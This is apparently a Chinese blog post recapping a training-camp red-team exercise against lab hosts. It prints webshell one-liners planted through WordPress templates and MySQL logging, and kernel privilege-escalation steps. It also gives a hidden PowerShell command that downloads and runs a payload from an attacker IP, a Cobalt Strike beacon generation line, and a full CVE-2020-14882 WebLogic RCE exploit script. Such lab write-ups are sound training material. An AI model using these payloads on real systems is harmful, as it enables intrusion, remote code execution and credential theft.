前言

经过为时五天的渗透实战培训,在最后一天举行了一场内部小型攻防演练。虽然说形式较为简陋,但也是我参与的第一场实战。赛后不禁感慨,网安之路博大精深,单单CTF离实战还有很长的距离。就像博主本以为走的Web方向,学习渗透应该绰绰有余,实则不然。在具体的攻防演练中,有关Web的知识无非就是文件上传,日志注入get shell,中间件注入等。但这些最多只能让你拿到一台内网机器的权限,而要如何提权,绕过杀软,横向攻击,打穿内网等又涉及到很多在CTF中接触不到的Web深层知识、计算机网络组成、繁杂的工具使用甚至还有二进制。总之,这次攻防演练是很有复盘一遍的必要的,现此编撰本文。

准备

在开放靶场前,训练营放出了大致的靶机拓扑图。

image-20240225205435811

可以看到,靶场分为三层。在拿下第一层的任意一台主机权限后,都需要进行端口扫描,探测深一层次的内网主机。但是这部分内容由于我们先前从未训练过,所以在有限的时间内进展不太理想。不过第一层的三台主机倒是全部被轻松拿下(存疑),最后也是扫描到了第二层的机器并发现系统存在永恒之蓝漏洞,虽然没有足够的时间去利用漏洞破解,但是能够做到这么多笔者也已经十分满足了。

比赛开始前,选手需要手动配置IP,连接靶场。

做好准备后,渗透之旅就正式开始了。

开始渗透

首先比赛给出了三个分配的IP:

192.168.110.101
192.168.110.102
192.168.110.103

需要注意的是这三个IP并不像CTF环境一样都可以直接打开。因为比赛只给出了靶机的IP地址,并未给出通信端口。一般的http通信都是默认使用80端口,但靶场IP并不一定使用默认端口,所以此时如果直连IP靶场可能会无法打开。所以,我们需要对IP段进行扫描,常见的工具有nmap或者fscan。

扫描结果如上,可知连接的URL应为:

http://192.168.110.101:8080/
http://192.168.110.102:7001/
http://192.168.110.103/

信息收集结束,接下来针对具体的靶机进行攻击。

靶机一

弱口令

第一个靶机是一个用WordPress搭建的个人博客。使用dirsearch进行扫描,可以发现/wp-login.php。访问之,是一个登录界面。

image-20240225211009340

像这种没有回显的登录界面,基本可以排除SQL注入了。我的猜测是弱口令,实际上除了弱口令爆破,还可以去查询博客的默认密码。猜测用户名admin,密码123456,成功进入后台。(ps:笔者当时猜的是12345,没过就放弃了转而用bp爆破,结果愣是直到下午才进去)

植入webshell

进入后台后,分析页面可以来到博客的外观编辑器下,可以直接写入PHP代码,于是写入一句话木马<?php fputs(fopen('shell.php','w'),'<?php eval($_REQUEST['shell']); phpinfo(); highlight_file();?>');?>完成注入。

image-20240225211424459

由于写入的模块是comment.php,需要在主页加载一次评论区后才能成功执行,然后再访问/wordpress/shell.php,可以看到成功写入webshell。

image-20240225211745550

接下来再用蚁剑连接webshell即可获得该台靶机权限。

这里其实出了一点小插曲,在我们植入webshell后,手动RCE可以成功执行,但是蚁剑却无法连接,并且回显报错为“DEPTH_ZERO_SELF_SIGNED_CERT”。一开始我猜测是蚁剑获得权限所用的函数被机器禁用了,但是随后查阅资料得知是因为该靶机证书不可信,导致蚁剑连接失败。在蚁剑的“其他设置”下勾选“忽略HTTP证书”即可。

image-20240225212359378

连接到靶机后,在蚁剑开启虚拟终端,输入whoami指令回显deamon。并不是最高权限,也就是说此处需要提权到root。

Linux提权

同样在虚拟终端下,输入指令uname -a来获取机器的详细信息,目的是查询机器使用的linux内核版本号,然后再根据版本号去搜索相应的漏洞脚本。这里机器回显linux内核版本号是3.13.0。

获取到版本号后,再去kali中执行命令searchsploit 3.13.0搜索相关内核版本的提权源码。当然也可以去网上找,但内容和kali中的脚本基本上是一样的。

uname -a
searchsploit 3.13.0

这里我们可以使用脚本37292.c,依次输入以下指令即可。

locate linux/local/37292.c //获取脚本路径
cp /usr/share/exploitdb/exploits/linux/local/37292.c ~/Desktop //将脚本移动至桌面方便调取

image-20240225213739339

之后,通过蚁剑将脚本上传至靶机tmp目录下,打开虚拟终端,依次使用以下指令编译和执行脚本。

gcc 37292.c -o exp //编译文件,生成可执行exp脚本
chmod 777 exp //给exp赋权
./exp //执行脚本,获得root权限
whoami //再次执行whoami指令查看用户权限

可以看到此时我们的用户权限成功变为root,然后再修改机器密码登录服务器即可拿下靶机一。

修改密码
passwd root

成功拿下入口一。

接着生成Linux上线木马。

./genCrossC2.Linux 192.168.110.64 443 .cobaltstrike.beacon_keys null Linux x64 ./shell.out

完成。

小小结

总结靶机一的渗透思路,首先用弱口令进入后台,然后更改模板写入webshell,用蚁剑连接获得命令执行权。再在蚁剑中打开虚拟终端,进行信息搜集后利用现有poc进行提权操作,最后修改服务器密码获得控制权。

实际上笔者在提权脚本那一步就出现了问题,同样的脚本,用gcc编译后赋权执行,我的靶机却报错sh: 0: can't access tty; job control turned off导致exp无法正常提权,于是便卡在了这一步。即使赛后笔者也百思不得其解,希望以后有大佬能浇浇。

靶机二

进入靶机,可以得到以下界面。

image-20240225215638009

这里在获取到主机权限前,有两种解法。

解法一

数据库弱口令

通过御剑扫描器扫描后台,发现/phpmyadmin页面。尝试访问,页面是一个数据库登录界面。

image-20240225220038599

同样的,使用弱口令进行绕过,用户名与密码均为root成功登录后台。

植入webshell

在SQL查询页面中,可以直接执行以下命令即可日志getshell,前提是需要root权限和绝对路径写入权限。

set global general_log = on;//开启全局日志记录
set global general_log_file = 'C:/phpStudy/www/shell.php';//这里需要知道网站路径,将日志路径改写到网页下
select '<?php @eval($_REQUEST[x]);?>';//执行一句话查询语句,日志自动写入
set global general_log = off;//关闭全局日志**划重点**

db45bae4f290e573f6dab997c22c1d5

其实还有一个看似不那么重要却十分致命的问题:我们如何获取数据库的文件路径?

切到先前的php探针界面,这里已经列出了数据库的绝对路径,顺便告诉了我们靶机系统是windows。

image-20240225222112963

这种方法可以称为慢日志查询。实际上使用慢查询日志时,只有当查询时间超过系统时间(默认为10秒)时才会记录在日志中,使用如下语句可查看系统时间:

show global variables like '%long_query_time%';//查询系统时间

这里没有修改时间就直接注入了,也许是环境系统时间不为10秒,又或者是已经被修改,总之如果有一个十秒的限制可以把一句话语句改写如下。

select '<?php @eval($_POST[1]);?>' or sleep(11);//延时11秒

写入成功后,访问日志文件/shell.php

image-20240225221638860

可以看到一句话已经成功被执行,接下来用蚁剑连接webshell即可。

解法二

YXcms弱口令

访问/yxcms可以进入到一个yxcms内容管理系统下的界面,并且不难发现登录界面。

image-20240225223137229

弱口令admin/123456直接进入后台。

植入webshell

和靶机一一样在前台找到模板管理,编辑index_index.php写入一句话木马即可。

软件免杀

蚁剑上线后输入whoami查看用户权限。

image-20240225225125189

可以看到我们的权限是system,出道即巅峰。但是既然不需要提权,那么一定还有高手。

尝试命令执行powershell上线。

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.110.64:80/index'))"

上线失败,猜测有杀毒软件拦截。

image-20240225225453267

还真有,万恶的火绒:)

尝试执行删除竟然还失败了,nnd我的系统权限是假的吗???

无奈,只好对shell进行免杀绕过杀软(字面意义),上传免杀程序。

执行exe文件后成功上线。

小小结

这道题的思路和靶机一有点区别,通过弱口令进入后台植入webshell。如果是数据库注入则利用慢日志写入一句话,如果是YXcms后台则和靶机一相同修改模板植入webshell。蚁剑连接webshell后,虽然是最高权限不需要进行提权,却需要绕过火绒进行免杀操作,这里需要制作免杀程序,笔者作为web手确实是第一次接触。

和靶机一一样,笔者在进行到蚁剑连接webshell步骤时就遇到了问题。在蚁剑开启虚拟终端后,命令行直接报废显示指令cmd不存在。

image-20240225230312978

这一错误直接导致笔者在靶机二上栽了,所幸队友可以正常连接蚁剑,所以他们制作出了免杀马并进行了后续一系列操作。虽然笔者也根据ashelp命令的提示,执行ascmd C:\Windows\System32\cmd.exe恢复了一部分cmd的功能,但是权限仍然低的离谱,缺乏whoamiipconfig等一系列指令,基本上没啥用。

赛后笔者复盘,根据老师的提醒应该是进行慢日志注入时没有执行set global general_log = off;关闭全局日志,导致蚁剑连接期间日志仍然在不断写入,产生大量脏数据。但是队友和我连的是同一个马,为什么他的蚁剑就可以正常执行呢?不知道,希望大佬浇浇(doge)。

靶机三

连接靶机,注意端口,否则打不开网站。

wk8ve2c9da

找不到图了所以网上找了张代替下。

可以看到是WebLogic Server的后台登录界面。

利用POC直接RCE

直接上网查找相应的漏洞,说实话现成的poc还蛮多的,又是绕过认证登录后台,又是任意命令执行的。这里贴出我在网上找到的一个现成的poc脚本,可以直连url进行RCE。

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# author: zhzyker
# from: https://github.com/zhzyker/vulmap
# from: https://github.com/zhzyker/exphub
import http.client
import requests
import sys
import argparse
http.client.HTTPConnection._http_vsn_str = 'HTTP/1.0'

payload_cve_2020_14882_v12 = ('_nfpb=true&_pageLabel=&handle='
'com.tangosol.coherence.mvel2.sh.ShellSession("weblogic.work.ExecuteThread executeThread = '
'(weblogic.work.ExecuteThread) Thread.currentThread(); weblogic.work.WorkAdapter adapter = '
'executeThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField'
'("connectionHandler"); field.setAccessible(true); Object obj = field.get(adapter); weblogic.servlet'
'.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) '
'obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd"); '
'String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]'
'{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd}; if (cmd != null) { String result '
'= new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter'
'("\\\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.'
'ServletResponseImpl) req.getClass().getMethod("getResponse").invoke(req);'
'res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));'
'res.getServletOutputStream().flush(); res.getWriter().write(""); }executeThread.interrupt(); ");')

def cve_2020_14882(url, cmd):
payload = payload_cve_2020_14882_v12
path = "/console/css/%252e%252e%252fconsole.portal"
headers = {
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,'
'application/signed-exchange;v=b3;q=0.9',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-CN,zh;q=0.9',
'Connection': 'close',
'Content-Type': 'application/x-www-form-urlencoded',
'cmd': cmd
}
try:
request = requests.post(url + path, data=payload, headers=headers, timeout=10, verify=False)
print(request.text)
except Exception as error:
print("[-] Vuln Check Failed... ...")
print("[-] More Weblogic vulnerabilities in https://github.com/zhzyker/vulmap")




if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Weblogic cve-2020-14882',
usage='use "python %(prog)s --help" for more information',
formatter_class=argparse.RawTextHelpFormatter)
parser.add_argument("-u", "--url",
dest="url",
help="target url (http://127.0.0.1:7001)"
)

parser.add_argument("-c", "--cmd",
dest="cmd",
help="command"
)
args = parser.parse_args()
if not args.url or not args.cmd:
sys.exit('[*] Please assign url and cmd! \n[*] Examples python cve-2020-14882_rce.py -u http://127.0.0.1:7001 -c whoami')
cve_2020_14882(args.url, args.cmd)

执行格式如下。

python cve-2020-14882_rce.py -u http://127.0.0.1:7001 -c whoami

虽然如此,因为权限太低,即便可以实现RCE,对于一些敏感文件目录连读权限都没有,更别说写入木马了(起码我不知道怎么用RCE写入木马)

5a25ef56a3ae46aad769882b0ab6034

使用工具LiqunKit进行扫描,可以看到LiqunKit成功写入了webshell,但是它却没给webshell的密码!这下子出现了滑稽的一幕,我们植入了webshell,却不知道webshell写的啥,无法用蚁剑连接1进行进一步提权操作。(太菜了555大佬打轻点)

e4ffc2eba9406aa3938775b2e0e8e2a

直到比赛下午临时休息,不知道为什么那边下线了靶场,重新修改后上线删除了靶机三,我们也就没有机会继续深入了,对WebLogic的挖掘也止步于此,问题不了了之。

小小结

靶机三是三台主机中唯一一台只拿下了部分权限的机器,因为后续下线的原因导致思路中断,也没有机会进一步验证操作尝试植入webshell以及提权操作。

有关WebLogic Server的漏洞网上有很多资料,虽然可以免登录绕过直接进入后台,但是权限低的离谱什么都干不了;虽然可以根据poc进行RCE,但是权限不够不知道该如何写入webshell(或者说不知道怎么把webshell写入到我们能够访问的路径下);虽然可以利用LiqunKit工具进行getshell,但是因为不熟悉工具不知道该如何利用webshell。网络上的普遍解法是利用弱口令登录后台,修改配置后结合RCE写入webshell,但是后台的弱口令我们没爆出来qwq。所以,这题也就只能留待以后解决了,希望大佬浇浇。

横向攻击

以上介绍的都是如何夺取第一层的靶机权限,实际上在夺取任意一台靶机权限后,就可以深入内网进行横向攻击了。但是由于我们对此方面并不熟悉,所以大部分时间都花在打第一层靶机上了(提权、免杀)。所以这里只简单的介绍一下我们横向攻击的进展,实质上并没有完成全部的流程,不过如果时间足够的话,应该是可以夺取第二层靶机的权限的(实际上队友后来复现时也确实成功了)。

扫描端口/代理访问

大概的思路是,将nmap或者fscan传入已经夺取权限的内网靶机中,然后开启端口扫描查看是否有可以端口通信,如果有就有可能是内网第二层靶机。之后就可以通过第一层靶机的IP代理访问第二层靶机,进行分析。

6012149ef1407f3a30d6e441a11c3e2

利用fscan扫描端口,发现455端口开放且为win7系统,确认是永恒之蓝漏洞。

攻击漏洞

之后再启动metaspoilt,利用攻击模块对漏洞进行攻击。

e9ba90a4123e3a489900af4d0e0d3fe

最后右键提权提取明文密码,然后windows用代理和账号密码远程控制桌面拿下第二层。

小小结

在拿下内网中任意一台机器的权限后,就可以进行横向攻击打深层的内网机器了。基本的思路是先利用fscan等工具扫描已取得权限的内网机器通信端口寻找深层内网机器,再通过第一层内网机器的代理访问其他内网机器,然后特征分析得到漏洞,再用工具打下第二层机器,更深层机器以此类推。

关于横向攻击的部分笔者写的较为简略,主要是因为队友复现时笔者不在旁边,没有记录下完整的过程,所以并不能保证思路正确。注入如何利用metaspoilt攻击永恒之蓝漏洞,我就无法说明了,只能记载下简单的思路和结果。

小结

那么到这里,比赛的复盘终于到了尾声。可以看到,直到现在其实笔者还是存在不少问题。比如莫名其妙的报错、WebLogic的漏洞利用、横向攻击的知识缺失、工具的使用不熟练等都还未得到解决。最典型的就是CobaltStrike,对于这种最基本的代理工具与渗透利器笔者掌握的还是不够。在笔者还在手动getshell的时候,队友已经在用C2自动投递Webshell了。

通过这次攻防演练,笔者充分认识到了自己在知识方面存在的漏洞与欠缺,在渗透实战方面尤为严重,而这些是在平时的CTF中根本接触不到的。希望通过这次比赛,以后能够加强这方面顶点训练。

那么以上,作为一个初学者小白的思考,这些思路可能过于幼稚与低级,甚至还有诸多错误遗漏,还望大佬指出纰漏之处,以及轻喷qwq。

参考

尾声

在进行横向攻击时,队友错误的把双网卡的攻击机当成了内网的第二层机器,把自己打了下来()。

还有高手传马时绕不过杀软,在本地测试时却绕过了自己电脑的火绒()。


93386896_p0